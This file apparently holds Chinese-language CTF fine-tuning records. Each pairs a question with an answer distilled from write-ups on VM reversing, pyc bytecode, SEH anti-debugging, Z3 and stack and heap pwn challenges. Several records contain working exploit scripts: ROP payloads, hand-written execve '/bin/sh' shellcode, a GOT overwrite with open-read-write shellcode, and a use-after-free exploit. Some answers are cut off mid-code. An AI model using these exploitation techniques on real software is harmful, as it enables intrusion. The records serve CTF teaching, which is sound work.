{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e9db8125e3c29452b79d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“VM虚拟机分析”？请用《VM 指令虚拟化》中的内容回答。", "role": "user"}, {"content": "1. 通常我们分析VM虚拟机，要将它 “抽象” 回去\n2. 首先我们要分析出这个虚拟机的大致结构，然后找到它的伪指令，也就是那些模仿指令的函数，然后通过分析这些伪指令，分析出内存中哪个被当作是栈，哪些被当作是寄存器，哪个被当作是pc寄存器（也就是和x86_32架构中的eip一样），哪个被当作栈顶寄存器（esp），以及会用于调跳转的标志寄存器（eflags）等。\n3. 给可执行程序和opcode，逆向emulator，结合opcode文件，推出flag\n4. 只给可执行程序，逆向emulator，构造opcode读取flag\n5. 分析虚拟机入口，搞清虚拟机的输入，或者opcode位置\n6. 理清虚拟机结构，包括Dispatcher和各个Handler", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::04e808ff40cd3ea1", "original_line": 1037, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "VM虚拟机分析", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "04e808ff40cd3ea1", "source_split": "train", "split": "train", "split_group_key": "6f3c5b35a6cd17b5626d91d8", "tags": ["pwn", "reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ea10c8cd5390561e4a63", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“全局变量”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 全局变量\n关键词：LOAD_GLOBAL、STORE_GLOBAL、num、对应的 python 代码：、LOAD_CONST、CALL_FUNCTION、def、test、global\n蒸馏要点：\n- `LOAD_GLOBAL`：用来加载全局变量，包括指定函数名，类名，模块名等全局符号\n- `STORE_GLOBAL`：用来给全局变量赋值。\n- 对应的 python 代码：\n可用于训练的标准回答：\n#### 全局变量\n\n- `LOAD_GLOBAL`：用来加载全局变量，包括指定函数名，类名，模块名等全局符号\n- `STORE_GLOBAL`：用来给全局变量赋值。\n\n例如：\n\n```\n0 LOAD_CONST     1 (101)\n2 STORE_GLOBAL   0 (num)\n4 LOAD_GLOBAL    1 (print)\n6 LOAD_GLOBAL    0 (num)\n8 CALL_FUNCTION  1\n```\n\n对应的 python 代码：\n\n```python\nnum = 0\n\ndef test():\n\tglobal num\n\tnum = 10\n\tprint(num)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5fc0329b7b68f90f", "original_line": 868, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "全局变量", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5fc0329b7b68f90f", "source_split": "train", "split": "train", "split_group_key": "aec2f16e3196789a3daf4eef", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ea5187a01b20bd7f2675", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“SEH”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / SEH\n关键词：SEH、EXCEPTION_BREAKPOINT、include、cpp、try、except、BOOL、IsDebuggedWithSEH、EXCEPTION_EXECUTE_HANDLER、EXCEPTION_CONTINUE_SEARCH\n蒸馏要点：\n- 结构化异常处理（Structured Exception Handling, SEH）是 Windows 操作系统提供的一种异常处理机制，它使开发者能够以一种结构化的方式处理程序运行时可能发生的各种异常情况。\n- 当异常发生时，系统会遍历 SEH 链查找能够处理该异常的处理器。如果找到合适的处理器，控制权将转移给它。如果没有处理器能处理该异常，系统将终止程序。\n- 在 C/C++ 中，SEH 主要通过以下关键字实现：\n- 以下代码生成了一个断点异常。如果没有调试器，异常会被 SEH 处理器捕获。如果有调试器，调试器通常会接管这个异常。\n可用于训练的标准回答：\n### SEH\n\n结构化异常处理（Structured Exception Handling, SEH）是 Windows 操作系统提供的一种异常处理机制，它使开发者能够以一种结构化的方式处理程序运行时可能发生的各种异常情况。\n\n当异常发生时，系统会遍历 SEH 链查找能够处理该异常的处理器。如果找到合适的处理器，控制权将转移给它。如果没有处理器能处理该异常，系统将终止程序。\n\n在 C/C++ 中，SEH 主要通过以下关键字实现：\n\n```cpp\n__try {\n    // 可能引发异常的代码\n}\n__except(filter_expression) {\n    // 异常处理代码\n}\n```\n\n以下代码生成了一个断点异常。如果没有调试器，异常会被 SEH 处理器捕获。如果有调试器，调试器通常会接管这个异常。\n\n```cpp\n#include\n#include\n#include\n\nBOOL IsDebuggedWithSEH()\n{\n    __try\n    {\n        // 主动触发一个断点异常\n        RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);\n\n        // 如果执行到这里，说明异常未被处理(调试器可能已接管)\n        return TRUE;  // 修改为返回TRUE，因为调试器可能捕获了异常\n    }\n    __except(GetExceptionCode() == EXCEPTION_BREAKPOINT ?\n             EXCEPTION_EXECUTE_HANDLER :\n             EXCEPTION_CONTINUE_SEARCH)\n    {\n        // 如果能执行到这里，说明异常被本程序处理(无调试器)\n        return FALSE;\n    }\n}\n\nint main()\n{\n    if (IsDebuggedWithSEH())\n    {\n        printf(\"debugger\\...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::090882772861b68b", "original_line": 942, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "SEH", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "090882772861b68b", "source_split": "train", "split": "train", "split_group_key": "bc7d8e36dc594eabf2cb8769", "tags": ["reverse", "ctf-method"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-eba4dc5083d31e289d6e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《2025强网杯 Qclac》中“onEqual”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《2025强网杯 Qclac》的“onEqual”。\n语言/类型：java\n关联知识点：\n- 这部分代码默认 jadx 不会反编译出来，但是选择反编译设置中的显示不一致的代码后就可以成功显示。\n- 这个函数表面是计算器的等号逻辑，但它实际上隐藏了非常异常的逻辑：intent代理、bridge activity 跳转、signature 校验字段。\n- MainActivity 可以接收一个名叫 fallback 的 intent。通过 EXTRA 携带，`getParcelableExtra`用于从 intent 中取出 Parcelable 类型的对象。\n- 随后判断 fallback 是否存在，如果存在则：\n- 打印攻击者控制的数据：\n代码片段：\n```java\nLog.d(\"QiangCalc\", \"Fallback intent data: \" + fallbackIntent.getData());\nLog.d(\"QiangCalc\", \"Fallback intent extras: \" + fallbackIntent.getExtras());\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::da79c591a63a9674", "original_line": 885, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "onEqual", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "da79c591a63a9674", "source_split": "train", "split": "train", "split_group_key": "c60478bcae68627a1fc21927", "tags": ["crypto", "ctf-method"], "title": "2025强网杯 Qclac", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ec7860b81e3eb788bd4d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“SSP Leak”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“SSP Leak”。\n语言/类型：c\n关联知识点：\n- *Stack Smashing Protector (SSP)** 是一种防范栈溢出漏洞的机制，最初在1998年由 StackGuard 引入 GCC。\n- *SSP Leak** 则是利用 SSP 机制进行攻击的一种技术。通过破坏 `canary` 值，攻击者可以触发程序的异常处理流程，并利用该过程泄露信息。\n- 在CTF Wiki中将这种利用技术称为 **Stack Smash**，并将其归类为花式栈溢出的一部分。这表明，SSP Leak 是栈溢出攻击的一种高级形式。\n- SSP工作原理：\n- 插入`canary`\n代码片段：\n```c\n.text:0000000000401205                 mov     rax, fs:28h\n.text:000000000040120E                 mov     [rbp+var_8], rax\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8766487a042ee6be", "original_line": 960, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8766487a042ee6be", "source_split": "train", "split": "train", "split_group_key": "853e22c2361a2257a8069cb2", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ecd50910d4525898ca3d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[LitCTF 2023\\]口算题卡”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[LitCTF 2023\\]口算题卡\n关键词：line、strip、expression、result、LitCTF、pwntools、exp、pwn、import、remote\n可用于训练的标准回答：\n### \\[LitCTF 2023\\]口算题卡\n\n#pwntools\n\n- exp\n\n```python\nfrom pwn import *\n\nio = remote('node4.anna.nssctf.cn',28699)\ncontext(arch='amd64', os='linux', log_level='debug')\n\nwhile 1:\n    try:\n        io.recvuntil(b'What is ')\n        line = io.recvline().strip(b'\\n').strip(b'?').decode()\n\n        expression = line\n        result = eval(expression)\n        io.sendline(str(result))\n    except:\n        io.close()\n        continue\nio.interactive()\n\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3b7fa1d18addf6da", "original_line": 1003, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[LitCTF 2023\\]口算题卡", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3b7fa1d18addf6da", "source_split": "train", "split": "train", "split_group_key": "b19299826b3cb89ab0f63714", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ed0b7562d7df7cc475ad", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“实现”。\n语言/类型：c\n关联知识点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n代码片段：\n```c\n#include\nint main(){\n\t__asm{\n\t\tcall s;\n\t\t_emit 0x83;\n\ts:\n\t\tadd dword ptr ss:[esp],8;\n\t\tret;\n\t\t_emit 0xf3;\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9c401f479e286a36", "original_line": 1068, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9c401f479e286a36", "source_split": "train", "split": "train", "split_group_key": "43fea1e758abe06b77fb2c4f", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ed5b2e2ddff01aecc223", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[FSCTF 2023]rdi”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [FSCTF 2023]rdi\n关键词：rdi、p64、FSCTF、bin、gift、elf、off、sys、payload、ret2text\n蒸馏要点：\n- 通过sh字符串代替/bin/sh字符串。\n可用于训练的标准回答：\n### [FSCTF 2023]rdi\n\n#ret2text #sh\n\n通过sh字符串代替/bin/sh字符串。\n\nexp\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\noff=0x88\nsys=0x4006fb\nrdi=0x00000000004007d3\nret=0x0000000000400546\nsh=0x40080d\n\npayload=b'a'*off+p64(rdi)+p64(sh)+p64(sys)\nsla(\"answer:\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4fa38d7da6137792", "original_line": 907, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[FSCTF 2023]rdi", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4fa38d7da6137792", "source_split": "train", "split": "train", "split_group_key": "41a0aa6dfdf3996a5a15f29e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-efa47505d0e7f06ab5a6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Z3》中“常量表示”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Z3》的“常量表示”。\n语言/类型：python\n关联知识点：\n- 除了 python 原有的常量数据类型外，我们也可以使用`z3`自带的常量类型参与运算：\n代码片段：\n```python\n>>> z3.IntVal(val = 114514) # integer\n114514\n>>> z3.RealVal(val = 1919810) # real number\n1919810\n>>> z3.BitVecVal(val = 1145141919810, bv = 32) # bit vector，自动截断\n2680619074\n>>> z3.BitVecVal(val = 1145141919810, bv = 64) # bit vector\n1145141919810\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1b9428354e3c1382", "original_line": 647, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "常量表示", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1b9428354e3c1382", "source_split": "train", "split": "train", "split_group_key": "13acf7f29dfc8b029be0640b", "tags": ["reverse"], "title": "Z3", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f1b31fee42e91dd4aaa6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[GDOUCTF 2023\\]Shellcode”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[GDOUCTF 2023\\]Shellcode\n关键词：push、shellcode、x2f、rsi、rdi、GDOUCTF、pwn、off、x48、bin\n可用于训练的标准回答：\n### \\[GDOUCTF 2023\\]Shellcode\n\n#ret2shellcode #限制shellcode长度 #手写shellcode\n\n- exp\n\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\ncontext(log_level=\"debug\",arch=\"amd64\")\noff=18\n#shellcode=\"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05\"\n\n#rsi寄存器清零\n#将rsi压栈，作为字符串终止符\n#将/bin/sh的十六进制编码加载到rdi寄存器\n#0x68 -> h\n#0x73 -> s\n#0x2f -> /\n#0x2f -> /\n#0x6e -> n\n#0x69 -> i\n#0x62 -> b\n#0x2f -> /\n#将rdi压栈\n#将当前栈指针压栈\n#将栈顶弹出到rdi，即rdi指向/bin/sh字符串\n#将系统调用号0x3b压栈\n#将栈顶弹入rax寄存器\n#cdq指令用于将eax寄存器的符号扩展到edx:eax，指令执行时eax寄存器的值符号扩展到edx寄存器\n#触发系统调用\nshellcode='''\nxor rsi,rsi\npush rsi\nmov rdi,0x68732f2f6e69622f\npush rdi\npush rsp\npop rdi\npush 0x3b\npop rax\ncdq\nsyscall\n'''\npay1=asm(shellcode)\nio.sendlineafter(b'Please.\\n',pay1)\npay2=b'a'*off+p64(0x6010a0)\nio.sendlineafter( b\"Let's start!\\n\",pay2)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d0fd088533fc3010", "original_line": 996, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[GDOUCTF 2023\\]Shellcode", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d0fd088533fc3010", "source_split": "train", "split": "train", "split_group_key": "015b9afead7648bc98f02697", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f1be57081d2c84883623", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“canaryorw”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / canaryorw\n关键词：shellcode、p64、got、elf、payload、shellcraft、gift、ELF、jmp_esp、0x601060\n蒸馏要点：\n- 任意地址写修改 got 表打 orw。\n可用于训练的标准回答：\n### canaryorw\n\n任意地址写修改 got 表打 orw。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\njmp_esp=0x40081b\nrbp=0x0000000000400c4b\ngot=elf.got[\"__stack_chk_fail\"]\n\nru(b\"journey\\n\")\ns(p64(0x400820))\n\ns(p64(0)+p64(got))\n\nru(b\"magic\\n\")\ns(p64(0x0000000000400a5f))\n\npayload=p64(jmp_esp)\nshellcode=\"\"\nshellcode+=shellcraft.open(\"flag\")\nshellcode+=shellcraft.read(\"rax\",0x601060,0x100)\nshellcode+=shellcraft.write(1,0x601060,0x100)\nshellcode=asm(shellcode)\npayload+=shellcode\nr()\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::976b9c0c8e403612", "original_line": 6, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "canaryorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "976b9c0c8e403612", "source_split": "test", "split": "train", "split_group_key": "6110fca4aec3819b57de2b11", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f1ed20935d5d69854cd4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“giaopwn”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“giaopwn”。\n语言/类型：python\n关联知识点：\n- 64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。\n- 通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。\n- 加的`ret`指令是为了栈平衡。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nr()\npop_rdi=0x0000000000400743\nret=0x00000000004004fe\nsystem=0x4006D2\ncat_flag=0x601048\npayload=b'\\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 18, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ba53e1695ed382a1", "original_line": 889, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "giaopwn", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ba53e1695ed382a1", "source_split": "train", "split": "train", "split_group_key": "2473bcc78895682ee4d67628", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f22d693cbeda3c03bbd3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“hitcontraininguaf”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / hitcontraininguaf\n关键词：lambda、data、text、num、add、chunk、def、show、elf、ELF\n蒸馏要点：\n- 程序为 32 位。\n- 首先分析 add 函数，发现如果 heap 数组指针为空则会首先申请一个 chunk 。然后将它指向一个打印函数。之后再申请用户可以控制的 chunk，然后向这个chunk写入内容。\n- delete 函数。\n- 这里释放掉了先前直接由程序申请的 chunk ，然后并没有将 heap 指针数组置为0，所以存在 uaf 漏洞。\n- 这里将 heap 指针数组当作函数调用，即如果指针数组指向的是一个函数那么就会调用这个函数。\n- 程序是存在后门函数的\n- 这里通过 uaf 漏洞申请两个 chunk 然后 free 进入 fastbin，然后将一起被 free 掉的程序申请的 chunk 申请出来，然后修改为后门函数地址，然后通过 show 函数功能调用它。\n可用于训练的标准回答：\n### hitcontraininguaf\n\n#uaf\n\n- 分析\n\n程序为 32 位。\n\n首先分析 add 函数，发现如果 heap 数组指针为空则会首先申请一个 chunk 。然后将它指向一个打印函数。之后再申请用户可以控制的 chunk，然后向这个chunk写入内容。\n\ndelete 函数。\n\n这里释放掉了先前直接由程序申请的 chunk ，然后并没有将 heap 指针数组置为0，所以存在 uaf 漏洞。\n\nshow 函数\n\n这里将 heap 指针数组当作函数调用，即如果指针数组指向的是一个函数那么就会调用这个函数。\n\n程序是存在后门函数的\n\n这里通过 uaf 漏洞申请两个 chunk 然后 free 进入 fastbin，然后将一起被 free 掉的程序申请的 chunk 申请出来，然后修改为后门函数地址，然后通过 show 函数功能调用它。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nlg = lambda s, num: io...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::253513ed52b30bdd", "original_line": 984, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "hitcontraininguaf", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "253513ed52b30bdd", "source_split": "train", "split": "train", "split_group_key": "c83dd8b7c2486a622735da8b", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
